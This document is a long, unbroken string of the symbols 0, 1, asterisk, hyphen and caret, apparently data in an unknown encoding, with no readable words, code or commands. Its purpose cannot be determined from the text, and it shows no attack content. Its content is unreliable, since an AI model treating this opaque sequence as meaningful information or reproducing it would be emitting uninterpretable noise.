001101^1*-1**00101*1***1********-*1*****010101*0-0110101******001^^-11011011011******0^1*001101*0--1011**^1*********0-*010-0---------^-1*-*0011*--------*0^1*-*^1*1^1*00-**********1*0010-*101****01**1*01*00101*11**^1*011****011**110^1*0101*11****011**10-001*10^1101**-1*^^101010101*001*0101*00-*11011*011*******0^1**101*11****01**01*001*0101*0101*11011010^1**0^1^-11**^10-*00101*001****01**010101010110-1*1*001*1*001*001^1*0101****01***001*00101*11**^1*********001011*00-********001^101********00-********************^-********00101*********00^-********001^101********0-*00101*^^1*1*1*0^1*1^1*01011*011*001^1*0101****01**^11*-10110-**0-0110101******001^^-11011011011*******01*001101*0--1101**^1*********0-*010-0--------1^110-*-00^1101*-^-11*1*^--*-11**01*1*1*--------1^11*00-00-1*01^1**11**********1*0010-*101****01**-11**10^101**^1*0101****01***11*-10110^1**1****01***10101010-1^11****011**10-001*10^1101**-1*^^^^101*001*0101*0-1*0-1*-11*^1**1****01**00^101010-110110101******0-*1*101******01**--1**1******01**1*-**1*11*******011**0010^^11*-*0010110101**-101101**1**********0011*001*11****001**1^^-11011*01*0^1**1****01**01010101010-110110101*******-01*101******11**00101**001******11**00-11**1*11****001**1010^-11011*01*0011*******10101**101******01**-1*1*001******01**10-101*00^^1**1****01**01^101010-1^11****011**10-001*10^1101**-1*^^101010101*001*0101*0-1**11*^1*01011*0011****011**010^101^-0-**011*00101****01**0-1**10^101**^1*********1*^1*-*******************00110^1********101*********00-01101********-01101********1011*********0101*********00-*00101*10-1*01*1*-1*01^1*00-*-----10---*101*-00^1*01^1*10-**********1**0-00--------1^-1*-*1101*-----10--101101101*-00^1*01^1*0011*0-11*********^1*0^-001**00--101011*-*001*1*-----10--1^^11*-00^1*01^1*0-*0-11*-*001^1*-01*--------0^-1*-*-*0-11*-----10--^-011*-00^1*01^1*^1101********00-*1*00^1*^1*********0^1*00^1101*01*1*********10101*^-001**00--101101*-*001*1*-----10---0-11*-00^1*01^1*^1101*****00^1^^^11**1*010^1*****01**0^^11*00^1011*01*1*-*001^1**11*0101*0011****001***-1*010^--------^10-*-00^1101010^^-11*1*^1********1^^1*001*101*01*1*--------^101*00-00^1*01^1*1101*0-11*********^1*0^-001**00---101*-*001*1*--------00-1*00-00^1*01^1*^1*0-11*-*001^1*01011*101*001^1*0101****01**11011*-101^11*00--------0^-1*-00^1*0-11*---------0101*0-00^1*01^1*^1101******01011*0-011*001*010^1*********10101*001*011*01*1*********10101*^-001**00--1^11*-*001*1*--------0110-*0-00^1*01^1*^1101********01*0011*00^1*^1********00-101*00^1101*01*1*-*001^1*^11*1101*00101****01**-01*1^-0--------10110-*-0011011010^11*1*^1*01010-11*0101*01*1*--------*00101*-00^1*01^1*00-**********1*0^-001**00--1*11*-*001*1*--------0^1101*-00^1*01^1*01101*-*001^1*01101*********0010-1********01*011*****01**01011**********^101********1**1********1**1******************001101*********0^101********00-101*********0010-********1101*********0-*1********01011011*****001**00^1*********-1*0101*10^1*01*1*^1*01^1*0-1*1011*01^1*001*******010101010--*11*01^1*001*******-1*10--01101*01^1*001*******0-11010--00101*01^1*001****01**0-010^--*001*1^1*001****01*****0--001101*01^1*********1***-001*1******01011******0011**-1****-***1^11011*1*******0010101*011*0011**-1^10101*011**1010^1*****01*******0010101*011*0011**101*010101*011**110-1****************00-*001**1010^10--001**-01****1********010^1********10101***********010-01101^1*********11*0010-011011********01**101**********1*^-*01*******-01*0--***********10-01101^1*********11*0010-011011*******-1**0101**********1*^-*01*******01101*0--00101****01**1*1*-101^11**1^1*101******0010^110-10110-**11****011**110^1*0101*11****001***1^1*10^^11*01*11011**10-00--**001*0101*011*******0^1**101*11****001***1^1*10^-01*01*11011**10-001^1***1*0101*110101*******-01*101******1***0101**01******1****01**^110101******0-*1*101********001*-1*001********00--11*00^110101******01^101*101******11**10110-*001******11**00-101*00^-**11*******1*1**101*11*******10101**101******1**00-1**001******1***1101**0^--------1^-1*-*1101*--------00110101*-**1*1^1*1*^-010^-11*-*001*1*********0011*00-11*1101*110101******0^-*0101******01**^^1**1******01**-101**0^110101******01^101*101******1**0101*01*001******1***101011*00^-**********0010101********01*101********-011*********0010101*******************0010101********1101^1********-*00101*1*001*1*1**01*1^1**11*00-0110101******001^^-11011011011******0101**1101*0---**0^1*********0-*010-0---------^-1*-*0011*--------*0^1*-*-*01^1*^110101*^1********1^^1*00^^1*01*1*1*^--010-11*^1*01*1*********10101*010-*101****01**01101**10^11**0^1*--------1*1101*-*-*01^1*11011*01^^110101******-^1*0101******01**001***01******01**0110-**1*11****001**110-00-1011*01*0-**011*00101****01**10101**10^11**0^1*********-001*00-********************1101********001^101*********1101********00101*********001^101*******************-*00101*^-*01*1*0-*01^1*01101*-----10--10-1**-*11*001^1*^1*0-11*********^1**0-00--------1^-1*-0011011*-----10--10^11*00-*11*001^1*-1*0-11*********^1*0^-001**00---011*001*001*1*-----10--1101*1*0-*11*001^1*^110101*^1********1^^1*001*011*01*1*1*^-1^10-11*0011*01*1*001*001^1*-01*--------00110-*-00^1101010110110-11*1*^101101*-11*^1*01*1*-----10--10101011*0-*11*001^1*^1101*****0010101*0010-1*001*010^1*****01**0-*1**1*101*01*1*********10101*^-001**00--101101*001*001*1*-----10--1^1*1*-*11*001^1*^110101*^-01*0-11*1101*01*1*1*^1*********1*1*00^1101*01*1*001*001^1*11011*1011*00101****01***01*-101^11*00--------01^-*-00^1101*****0010110^-01011*00^1^^1********1^^1*001*001*01*1*-----10---0-01*-*11*001^1*110110^1011*1*^-110110-11*^1*01*1*********0-*0^-001**00--101011*001*001*1*-----10---001011*-*11*001^1*^1101*****00-1^1*011**01*010^1*****001**011***01*101*01*1*001*001^1**11*0101*0011*******1*^1*10^--------^10-*-00^1101*********1*11*00^1*^11*1*-11*^1*01*1*--------1***0-*11*001^1*00-**********1*0^-001**00---101*001*001*1*--------1^1**-*11*001^1*01101*001*001^1*^11*--------0-1**-*11*001^1*^1101010-00--01010101^-11**110101^^1*****01**0^1***1*01****01**0^110^--01^^1101^10-11*001****01**0^110^--0101^10-11*001****01**0^110^--******-*-00-**^1^^1*****01**010^1**01*001*01*1******001**0-*10-11*1101*0101****01**-1*0-101^11*00--------1^-1*-*1101*--------00^11*0-*11*001^1*^11**********1*0^-001**00--1*11*001*001*1*--------0110-*0-*11*001^1*0011*0-11*001*001^1*01011*1101*00101******0011*1101^-0--------10110-*-*1011010^11*1*^-010^-11*-*001*1*--------0010^1*-*11*001^1*0-1**********1*0^-001**00--1^11*001*001*1*--------01^101*-*11*001^1*11011*001*001^1*01101******01***10101*****001**00101*1*****01**0101*01*****01***0101******1***11011********0110-*******************00-1011********1101*********0^101********001^^1**********11*****01**00101*1*****01***0101********001^101*****001**0101*01*****01**0^1*********00-^1********0^1*101*^11*001*1*011*001^1*1101*0-11*0011*01^1*001****01**0-010^--01101*01^1*001*******0-11010--00101*01^1*001*******010101010--0^1*01^1*001****01*****0--*01*01^1*001****01**0^110^--0-*001^1*001****01**001**0--001101*01^1*********1***-001*1*******11******0011**01^101***001**001^11011*1*******0010101**********0^1*****001**1101******001**001*1********00^10-****************00-*1*001******10101**************************************************************101*00101*101101*01*1*1101*01^1*01011****-1011011*****1*00101**00101*11*****1*****010^-**01****001**0101*00--001*101011****011**1*-*0101*-**^^^10101*10-*00^10-*******************001101*01*01*1011*-**1*10101**^11*-**1*101011*******00101011*10^^-*011**^10^1011**0^10-*00-110-11**11*-**1*1010101*******11*01*101*11****011**1*-*0101*-**^^^101011*-1*001*1101*******************00-1*01*01*1**0^1*0011*0011*******01101**101******01**10-011*001******01**0^1011*00^-01*-**1*101011****011**1*-*0101*-**^^^10101^^11*001*1101*******************001**01*01*1101*-*001101*01*******0011**1011*-011*011**01****001**1101*00--001^1**********^110-011011****011**110^1*0101*11****001***1^1*10^10-*01*11011**10-00-011**001*0101*011*******0^1**101*11*******00101011*10^^-*011**^1010-11**01*-1*^11*110101*******-01*101******1**0-0^1*001******1**0--11*00^110101******0-*1*101******1***0-01*001******1**001101101*001*1**011*******1*1**101*11*******10101**101******01**-*1**1******01**1010-**^110101******-1^1*101******11***1011**1******11**-***01*11*00--------110^1*0-00^1*01^1*00-*011****011**110^1*0101*11****001***1^1*101*1011*01*11011**10-001*11**001*0101*011*******0^1**101*11*******00101011*10^^-*011**^10^1011**01*0011*010^10-11*110101*******-01*101******1**0--1**1******1**0-01**00^110101******0-*1*101******01***11**001******01**01101**00^110101******1*0101*101******11**001***01******11**01*01**1*11**11*******1*1**101*11*******10101**101******1**0011*1**1******1***10-**^^--1010^^11*110-0-010^^1*01^1*1*^1********-01101*00^-*001*1*0011**110^110101******-01101*101******11**-1*1*001******11**^10-*001*11*********001*01*********-*1*****************************00-^1********1*01*******************************1*0101*10^1*01*1*^1*01^1*11011*--------001101*00-00101*001^1*^11**1*011010^1010--010^^1*0-11*--------010-*00-00101*001^1*01011**1**110^1**00--1*11*^1*0--------*^1*0-00101*001^1*^1101011011*1*^1*01010-11*-*001*1*1011*0-01*^10-11010^^1101********001011011*00^1*^1********0010-1*001*11*001*1*--------*1011*0-00101*001^1*01101**1**110^1**00--101101*^1*0--------0110-*0-00101*001^1*0-1*1011**011***0-010^101*001^1*-01*0101*0110101******0-*1*101******1**0-1101**1******1**01*101**1*11****011**0011*1*101*^11*1*110101^110-1101*001*******************00101*01*01*1011*011****011***^1*010^-01*-11*-^10-11*^--10101*-1*1010110-010^101*001^1*0101*0-11*011**0110^1**00---101*^1*01*00-1010^101*001^1*^1*0-11*1011*001101*********1**1********-01*********1010^1********1^101********001**********1**1********-01*********1^^1*********1********************^^1********01*-*********11*0101*10101*001*1*101*001^1**11*-*001^1*001****01*****0--0011*001^1*001****01**001**0--001101*01^1*1**11010^1*1******01101*******1**010-01**00^1**001^11011*********01010^--------0-**0-*011*0^1*0-11*--------01101**-*011*0^1101*******10-0110101*00^1^^1*****01**010^11**1*01*001*1*--------1^-1*-001101*0-11*--------1*11*00-*011*001101*********-*00^-001**00--1*11*011*00--------1*001*0-*011**-*0101*0-01*--------0010-1*-*0-*--------*0101*0-*011*01*^1********-01101*00^^1*********01011*0^-001**00--101101*011*00--------01^11*0-*011*010-*0101**011*---------1011*0-*011**11*0-11*011****011**110^1*0101*11****01**01*001*0101*0101*11011010^1**0^110110-**1*1101*00101*011*******0^1**101*11****011**10-001*10^1101**-1*^^101^101*001*0101*-01*00-*-11*110101******10-101*101**-0-11*10101010-11*01**--------0010-1*-0010-*--------00110101*-*011*011011*********-*00^-001**00---101*011*00--------00-101*-*011*01101*0-11*0101*001101*********-0101*********001101*********0011********00101**********0-01*********0011********0101*01*********001********************0-01********00-11********0-^1*********-001********1011*0101*1*01**11*001011*001*001^1*001****01**0^110^--01011**1****01*****0--001101*01^1*********1***-001*1******00101******001**0^1****-***1^1^1******0010101*1^1*11*******1101**001011010101*01*******001****-011******01**01010-0011**01*******011****11*******0011**1011*11010-0-11*10-001*****01*1*110^1**^10-*11011******01***10-0011*00--------011011*00-*011*011011*10-001*****01*11*001101**^-01*11011******01**01010-0011*0010-001*****0--0010-11**1*0011*11011******01**01010-0011*00---------0101*0-*011*0^11*10-001*****0110101*1101011*001*1011*11011******01***10-0011*0010-001*****0^10^110^1**1*1101*11011******01**01010-0011*00--------*-1*0-*011*0-01*10-001******-**-11*00^^11*11011******01**01010-0011*0010-001******01*011*011*001*0-*11011******01***10-0011*00--------^1^1*-*011*0^1101******0^^-^1**1*010^1*****001**-01**00^^1*010-001*****001*^^11**00^11011*11011******01***10-0011**101*01*******0010^^1011*10-1*001*******101****10101******00101^1*0101*01*******-***10-0^^1*******0010^^1011*1*****0-**^11**01********001*001*******************00^101********1*001********011*001********1*001********001*11********01*1101*********1*0101*1*01**11**-*1011**1*******010101010--***01101*01^1*********1***-001*1******0^1******001**0011*****1***1^1^1*********-----10--1*0-1*-00101*001^1*^11*01010^1*******00-10^1010-0-*00-----10-----*-00101*001^1*^11*--------01^-*-00^1101********010^101*00^1*^1********001*01*001*001*01*1*--------01011**-00101*001^1**11**********1*010-^^110^-^--01********00110^1*00^-1101011**0010^1********0110^1*001*01*******-1*10--********00110^1*001*01*******-1*10--00101101*011*^1**01******0011**011*1**1*011******001**011*101*00^1011**********001011*001*101**011010-01*011*00---------1101*0-00101*001^1*^1101******01*^-1**001*010^1********-1*1*00^-*001*1*1101*00101*******1*001*10^--------010-1*0-00101*001^1*0-1*1101**101*--------0^-1*-*101*0-11*--------1101*1*-00101*001^1*-01**********1*********01**0101*101*01^11*00^110101*1*-11*1*01^1**11**--------00^101*-00101*001^1*^11*0101*001101*--------0-0101*-00101*001^1*^1101******00^10--11*00^1^^1********--11*001*11*001*1*01^1*11*******0101**001011********0010-********0-^1********0010^11********0101011********01*1011********010^11********0101011*******************10^1*********1*011********101*1********011011*********0011*0101*10101*001*1*********0^101*0-*001*01^1*001****01**0-010^--0-*001^1*001*******010101010--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******01******001**01*11****01**001^1^1*********-----10--110--*-*01*001^1*01011*01010^1*******00110101*010-0-*00---------10-*-001*^-110110-11*011*001*1*--------01101**-*01*001^1*0-1**********1*0010-0010-01*011**1*0--------01^1*00-*01*001^1*^1101******11**10-1**1*010^1*11*-11*101*001*1*0011**01101*01*011**0011*00101101*-00--010110^10-11*1*01101*^^110110-11*001****01*****0--01*^1********101*11*001*01****01*****0--********0101*11*001*01****01*****0--010^^11**0101**011010-01*011*00--------01^11*0-*01*001^1*1101*0-11*1101*00101*******10-1*010^11011******011**0011*101**--------110-1*0-*01*001^1*1101*0-11*1101**101*--------1^-1*-0011011*--------0011*1*-*01*001^1*-01**********1*********01**0101*101*01^11*00^110^1011*1*011011**001*00--------00^101*-*01*001^1*01011*0101*001101*--------0-0101*-*01*001^1*^1101******10110110^-1*001*010^1*****01***0^11*00^101*001*1*01^1*11*******^1**001011********11*11********0101*1*********1*11********10-101********11*01*******************0-001********010^1********0011011*********001*11********11*01********011*101********0011*0101*1*1*001*1*********0^101*0-*11*001^1*001****01*****0--0101*001^1*001*******010101010--001101*01^1*********1***-001*1******0-*******1**010-****001**001^1^1*********--------^101*00-00101*001^1*10-*01010^-*00--------1^11*00-00101*001^1*^1101********00-1011*00^1*^1^10110-11*-*001*1*---------10-*-001*^1*01010-11*011*001*1*---------^1*0-00101*001^1*0101*0-11*********^1*010-^^110^1011010^11*^1**01*******001**-**001*011*******1**00101101*00^1011******001***11***1*101**011010-01*011*00---------0-*0-00101*001^1*01101*1101*00101*******011011*010^11**01**---------*01*-00101*001^1*01101*1101*001011*--------0^-1*-001101*0-11*--------*1^1*-00101*001^1*01011**********1*********01**0101*101*01^11*00^110101*1010-11*1*0110101**01*00--------1*1101*-00101*001^1*10-*0101*001101*--------110-01*-00101*001^1*-01*01^1*11********1**001011********01*01*********1*01*********1^1********01*01*********011*********0110^1*********1^1*********-*******************00110^1********0-*********00^101*********11*0101*10101*001*1*********101*1*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0011*********001*-1**00101***1^1^1*********--------0-101*0-*10101*1^1*11*******-***1011********011**********11*********00-********************0-*********00101*00101*1*01*01*1**1*01^1*-01*01010^--------*^1*0-001011*0^1101*0-00-11*1*^--*-11*011*001*1*--------1^-1*-00^1*0-11*--------10-01*0-001011*0^110101*^1*****01**01101***^101*001*1*1*^^110^-11*101*001*1*********00101*^-0010-01*011**11010-**101101010^^-*001101*********001*-*001*101**011010-01*011**101****1**011*001*10^--------0011*1*-001011*01*^1*****01**0101***0^101*001*1*--------0010-1*-00^11*--------*00101*-001011*0^11010110-10-11*1*^-0^10-11*001*001*1*********0-*********01**0101*101*01^11*00^11010-0-0-11*1*01^1**11**----------01*-001011*0^110101*^1*-10-11*001*001*1*1*^-001^-11*001*001*1*0101*001101*********0101*1********1^1*********110^1*******************00-11********0110^1********0011*1*********-11********0110^1*********0-*********101*0101*10^1*01011**-*011*001^1*001****01*****0--0101*001^1*001*******0-11010--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0101*******1**01*****001***1^1^1******001010^1*******0011**0010-0^1*0-----110--11*-*-*-*01^1*-1*0-11*01*1011*******0011**1010-0^1*0-*0011011******001**0010-*1*******011**--01011*00101*******01*10-101101*******00^10^1010-*1*001*1*--------01^-*-00^1101********01101*1*00^1*^1*****01**01*0011*00^-1*01*1*-----10--10-1**-*-*01^1*1*^1*01010-11**01*1*1*********0011*00-1^-*001*1*^1*01*1*-----10---0011*00-*-*01^1*1101*0-11*^1*01^1**11010-01*^1*01*1*-----10--101*01*0-*-*01^1*^1*0-11*01^1*101*******0^110-101101*10-*01101^^110-01*01*01*1**110101*1*-11**1101*11*01*1*^1*01*1*11011******01***10-01101*01*1*1*01101^^1^11010^1*01*1**11010-*001*1*0011*01*1*11011******01***10-00101*01*1*101*001*1*1*******00^10^1010-*1*001*1*-----10--1**01*-*-*01^1*1101*0-11*^1*01^1*-01**1*01^1*^101^-*-011******01***10-01101*01*1*-----10---10^1*-*-*01^1*-01*-*001^1**001101*0110101*001*1*1^^^11*01^1**11010-01*10^1*011*01*1*11011******01**01010-00101*01*1*01*110-1*0-11*-*001*1*--------1^-1*-00-01*-----10----101*-*-*01^1*1*1*-11*********^1*0^-00-1101**^-11*011*001*1*-----10--10^1011*-*-*01^1*01011*-*001^1**0011011*110-01*-1101*****00--11**11*001*11*001*1*-11010-11*-11*011*001*1*0011*01^1**11010^11*0011*01*1*-----10--10^-1*-*-*01^1*1*^11*-0-11**01*1*1*011*001^1*1*0110101*001*1*1^^1*11010-01*0011*01*1*11011******01**01010-00101*01*1*101*001^1*1^^^11*01*1*11011******01***10-00101*01*1*001*001^1*0101******0011*1101^-0--------01*1*00-*-*01^1*0011*0-11*0101*01^1*1101*01^1*0011*01^1*011*0011011******01***10-*1*******001**--011011******01***10-*01*001010^1*******0011**1010-0^1*0--------01^-*-00^1101********01^1011*00^1*^1********1*0101*00^-1*01*1*--------00-01*0-*-*01^1*0-*0-11*********^1*0^-001011*010^1*101^-1*0011011******001**0010-*1*******011**--0--------*-1*0-*-*01^1*0101*0-11*1101*01*0110-*001^^1*1101*011*011*001101*01^^1011*0010^^11011******01***10-*01**11**1*******101**--00101*01*011*1*001*0110-*0010110101**11*1011**^11**--------01*101*-*-*01^1*1011*0-11*01^1*11*******011***1011*********-11********-1******001**00-0011*********1011********0-1*********0-1*1*****01**00--********0^-******1**0-1011********0-11011****************1**001^101********-1*********0-11011********-1011*****001**01*11******1**001011*********--01********0^1*101*^-*01*1*********0-101*0-**1*1^1*001****01**0-010^--0-1*01^1*001*******0-11010--001101*01^1*********1***-001*1*******1*******01**0-11***0011***1^1^1*********01010^-----^--01*01*0-*011*0^1101*010110-11*1*^1*****01**0^1101**^^1*0-----^--0^101*0-*011*00^1*-11*--------0010-1*-0010-*-----^--*0011*0-*011**101*-11**********1*0^-001**00--^11*0-11*011*00-----^--0^-*0-*011*01*0^-11*0101*0-01*--------1^-1*-001*0^-11*-----^--11*001*-*011*0^1101*****001011010^^101*00^1^^110101010-11**1*01*1*********1*1*^-001**00--101101*011*00-----^--10-001*-*011*011011*0101*00101*0-11*--------0-0-*-*101101*011*1*^101101010-11*101*001*1*-----^--1^1101*-*011**001*-11**********1*0^-*01*******1^1*0--0---------00-*-00^1101*****001*0011011*1**1*010^1********10-011*00^^1*01*1*-----^--*11011*-*011*0^11010-10110-11*1*^--^-11*011*001*1*********0-*0^-001**00--1^1*0-11*011*00-----^--*0-1*-*011*01101101010-*1*^^110^-11*101*001*1*0101**011*011****011**-011*0010^--------01010-*-00^11010^11010-11*1*^1*****01***00-1*00^101*001*1*-----110--00101**-*011*001*^-11**********1*0^-001**00---101*011*00-----110--10^1*00-*011*001101*0101*0^11*011*******00-**10^--------*0-1*-001*^--*-11*101*001*1*-----110--10-1*00-*011*01101*0-11**********1*0^-001**00--1*11*011*00-----110--0-001*0-*011*0^1101********0101*11*00^1*^1*****01**010^11**^^1*00101*011011*011****01****01*010^1*0^-11*11*010-11*--------*0-1*-001*^-01*0-11*001*001*1*-----110--0110-*0-*011*0^110^-^--01********011*-*001*101101*10^1*^10-11*001*******-1*10--*10^^^110-11*001*******-1*10--*^110-11*001*******-1*10--*****00-1^10^11**01*010^1*****001**011***0^^1*01*1*********1^1^^-001**00--101011*011*00-----110--0^1101*-*011*0^1101*********1^11*00^1*^11*1*-11*001*001*1*0101**11*0-11*011*******^-10-1011*1*******11**0--0--------0010-1*-*0011*-----110--01101011*-*011*01*^--110-11*001*001*1*********1101*0^-001**00---01*0-11*011*00-----110--11010-*-*011*0^110101*^1*-10-11*^1*01*^1********-01011*00^^1*00101*010-*--------0010-1*-00-01*-----10--1101**00-*011*0^1101*****00-10-0^1**001*010^^1*10-11*-*001*1*********1*1*^-*01*******0^1*0--0--------1^-1*-00-01*-11*-----10---^1*00-*011*001011*********-*00^-001**00--^-*011*00-----10---1011*00-*011*0-11*-11*0101*01101*0-11*001*******11****01011********-101^-0---------00-*-00^1101******1010-10110101*001*010^1*****01***01^1*00^^1*01*1*-----10----01*0-*011*0^11*********-*00^-001**00--10101*0-11*011*00-----10--1*0-*0-*011*0^1101*****001011*01101011**^1^^1********01*011*001*001*01*1*0101*001011*--------01010-*-00^110^1010110-11*1*^1********010-01*001*01*001*1*-----10--10110^1*-*011*0^11*-11**********1*0^-*11*******--*0010^--------1^-1*-*0011*-11*-----10---110101*-*011**-*********-*00^-001**00--1^11*011*00-----10----101*-*011*0^1*0-11*0101**-*011*******0-**010^--------1^-1*-00^1*0-11*-----10--110101011*-*011*0^1101******^1*00--*001*010^101011010-11*-*001*1*********1*1*^-001**00---011*011*00-----10---110-*-*011*01*^10-1^-11*011*001*1*0101*0^1*0-11*011*******11010110-1011*1*******01**0--0--------01010-*-00^1101********001*101*00^1*^--^-11*101*001*1*---------01**-*011*001011*-11**********1*0^-001**00--10-1*011*00--------*101*00-*011*00-1*-11*0101*00-1*001*******01****01011*******010101101^-0--------1^-1*-*-1*-11*--------11*01*0-*011**011010-01*1*^1*01010-11*001*001*1*********1011*0^-001**00--110-*011*00--------^1101*0-*011*0^1101********00-1011*00^1*^1********0010-1*00^^1*00101*001101******001**0101011******1**00--********011*1*****001**0-011*********11*1******1**0^-1*****01**0-1011********0--1********0-0011*********010-********0--1*****01**011*001*****001**0--**********101*****011**00101******001***001******11**001101*********^11******01**-*11*****001**^^1*******************10101******01**00-^1*****001**110-*********1**********-10101*****001**01*******011**00-*********011*11*****001**1*1011*****01**00-001*****001**001*1******1***-101*****001**^10101*****001**^^1********011*^101*1*01**11*00-*0-11*^1*01^1*001*******010101010--*01*01^1*001****01**0^110^--0-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--0101*001^1*001*******0-11010--*1*001^1*001****01*****0--01011**1****01**001**0--001101*01^1*********1***-001*1******011*******011**^-11***001**001^1^1******001010^-01*--------0010101*0-*011*0-01*--------1101101*0-*011*001101*--------0010-1*-*0011*--------*1011*0-*011*0^1101*****00101^-^1**001*010^1^11*-*001*1**********01*^-001**00---101*011*00--------1**1*-*011*0^1101********00110-1*00^1*^1*****01**0-0011**1*11*001*1*0101*0-01*--------11010-*-001101101*-*1*^1********^1^1*00^101*001*1*--------01^101*-*011*0^1101******0^1*001101**1*010^1*****01**0^10101*001*01*001*1*********00101*^-001**00--101101*011*00--------11*011*-*011*01*^1********-01101*00^^1*00101*001101*******************00110-********00110-********00-0-*********00-********01*101********0-0-********0-0-********0-1*********00--********00101*0101*1*01**11*0^1*0-11*-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001****01**0-010^--*1*001^1*001*******010101010--01011**1****01*****0--001101*01^1*********1***-001*1******001**********01011011**0011***01^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*********1010^-----10--^101**-*011*01101*0-11*-----10--^-**-*011*0-1*0-11*--------1^-1*-**1*-11*-----10---0101*00-*011*00-*0-11**********1*0^-001**00---011*011*00-----10--^-1*00-*011*0^1101******10-0010-1**01*010^1********101*01*001*11*001*1*0101*0-01*--------1^-1*-00^1*0-11*-----10--1^1101*0-*011*0-01*********-*00^-001**00--101101*011*00-----10--1^1011*0-*011*011011*0101*011011*011*******-**00101******01**010-**01******01**101^1**^--------0010-1*-0011011*-----10---1*01*-*011*01101101*-*1*^1**10-11*101*001*1*********1011*0^-001**00--101011*011*00-----10--110-001*-*011*01*1*-11*0101*0^11*-----10---^101*-*011*0^1101*****001101^-0011**01*010^1********^1^1*00^^1*0110101*******101*00101******01***011**01******01**010-**0^1********-001^10-0110101*******^1*0101*********1^-*001*********0110-*001*01*******1**00--*1*******1****0010101****1**01*^-00-0011*******001**11**--^101*********1*1*010-*01*******1**00--0011****011**0-0101*101******01***00-*001******01**10-011*00^---------00-*-00^1101*********11*1*00^1*^1*****01**01101***^101*001*1*---------11**-*011*00-1*********-*00^-001**00--1*11*011*00---------101*00-*011*00^1*-11*0101**011*011****001**0101101*0101******01**1*-1*001******01**-*01*001******-1**00-1*00^--------11010-*-00^1101*****0011**1011***^1^^1^11*001*001*1*--------00-01*0-*011*0^11*********-*00^-001**00---101*011*00--------0011011*0-*011*001011*0101*001011*011*******101**0010^--------0010-1*-*1011*--------**01*-*011*0^1101*****00-011*****1*010^10-1^-11*^1**********001*^-001**00--1^11*011*00--------^1^1*-*011*0^1101*****001*-^110-*001*010^1********-0^1*00^^1*00101*001101*********--1*****001**01*1******01**00^^1*****01**00101^1*****01**00101*1*****01**0101101*********01011********0010101******01**00101*1*****01**00^-********001*101*****01**0-**********1*******01**0101*1********001*01********01*011*****001**0-*******1***-01*******************1^1*101*1*01**11*001101*011*001^1*001*******010101010--0101*001^1*001****01**001**0--*1*001^1*001****01**0^110^--01011**1*******-1*10--001101*01^1*********1***-001*1******01********1**1*1***00101***1^1^1****10101*01*******01010101**010101******00101^1*0101*01*******^10101*010-0^^1*******001011*01011*1*****001***1101**1*01*******-1*1**010101******00101^1*0101*01*******0-*1*010-0^^1*******001011*01011*1*********01101*001*01****01*******010101******00101^1*0101*01*******--11*010-0^^1*******001*0^1011*1********01101011*001*01****01**001****010101******00101^1*0101*01****01**01***0010-0^^1*******001*0^1011*1*****01***001101*001*01*******0-1101**010101******00101^1*0101*01*******10-101*010-0^^1*******001*0^1011*1*****01***0-11*001*01****01**0^1101**0010101******00101^1*0101*01****01***01101*0010-0^^1*******0010^^1011*1*****01**00^1101*001*01****01**0-0101**0010101******00101^1*0101*01****01**00110101*0010-0^^1*******001*0^1011*1*********01011*001***001101*01^1*********1***-*******************0--01***01***1^1^1******001010-*00110^10--10-01^1*1**-*---010-10-1101010^1101^10^1*001*101101*-11011011*01101*010-0101^-010-*1^1101011011*001010--1*01*1*010-1^1011*0^1010110--1*0^^10-101*^^-110^^-0110^11*1*11010^^^1010110101*10^-01^1^11*00-*10^1^^10^110110--11*1*^101**01101010110-^-010---10-01011011011*10-*0011*10^-0110-0^1011*10110-10^1**01*00^^^-011011*001011010101*0-1101*11*101010^10101101*0-*110101*0^-110^1011*00110101*-01*11010110-01*01101*^101^101^1*01^1**001^10--0-01^11*00101*-10-101*01*01*01^-*-0-1*001011*010--001011011*011010-1101^1*001101*00-11*01010101****1*001****0101****001**1011*0-0-1011*01*^^11*01010101*001*0011**011**0011**01**11*00110101**0^11*101*00101011010110-*-*1*0110^10^1*01010-^101*1*0011*101^1**1*101*01011011*11*01^11*^1*1*1*1^1^101011010110-001*1*0011*101^1**1*-011*0101^1^1^^10^1*01*1*101*-^1*^11011*011*00101^110-0-1010^^1**101^1*0010^-10^101*--11010-011010^1^101101*0-01101*010-101*-^-0--010-01***10--*10^1011010^-01*1*101011*01011010^^1*01*0010^-10^10^-0110110-0-00-^101^110-01^-00^10-^11*0010^10101*00110-1011010-011*0-0010-*^101010^-010110^10-10-0110-101010-*^-110101^-0--0010^--001*0010-001*01*01*1*1*010-*1011**011*01*101*0--^1101*1^-*00--1011*0101010--0-^10101*0^1*0110-0101*10----110-0010-110-110-1*^11**1^110^^110^11011011010^1101011*01^--1^^1*00101^-001101010^10^-*^-0010-*0^1010^---110^^10-1^101*1*1*01*1*1*1^1101010110101010^110-11*01*10^-11*0-1101^-110110-001^110^-^1101^101011*010-00-*01**001*110-*101**01010--0-*01^101*0101010-1*010-^1*10-11*10^1101^10--0011*110-110--10^-101*0-00110--0-0-0^1**110110^^-10--00-001010^^1010-110101010-001*1010--10^-*-*011*01011011010-0011*01^1*^-*011*-00110-11**---010--00-*1*0101011*1010101*01^^101*-^110-101^1**^1101^---10-11*101*--001010-*-^10-101*00101*^101101*101*10110-0010-1101010-011*0-*0-*0-1101^-**11010-*0^1*0-101^1101^--00-1^10-10-11*^11*110-*010101^-1**101**001*1*101*1^10^11010--01**1*10-010^10-0110110-1*110101010101^1*-10^10110101*101**011**101^1101**^110-10-1*10^1*1*110^^1*101101*1*01*01*1^101^-1011*0^-*110--*1^11*-01^^-01011*00^11*1*01*^^1*^-010-010110-110------10110101*110-01*^1*10-0--110101^1011**001*1^1*110-0--011*101010^11***010101*011*11*101^1*-*10-*01011*1101010^1010-^-110-1*0-101011*00-0-1010-00110-0-00^1**01**-011011011*10--*-110110101101010-010110101011*^101*-1******001**01*0011**01*0011**01**1********00-10-101^^-*00-**1**101*10101*10101*0^1**^10^1^110-*110110-101101^-010^1^^-**^-1011*10-**^10^11*1101^1*1101*01^-01101010101*****01**01**01**00--11*****1**00--11**01**********01**01*****1*****1********--11*****1**01**********01*****0--11****************00-1101010^1010-101^10^1^-^-0-*1011*-00^^-011011011*01^-*01*-**101^^1^-11*01*01010-00-110---0^^-*010-1*011*011**001*00-**1**101**01**01**1**1*01*01010-00-110---0^^-*010-1*011*011**001*00-**1**101**01**11*001*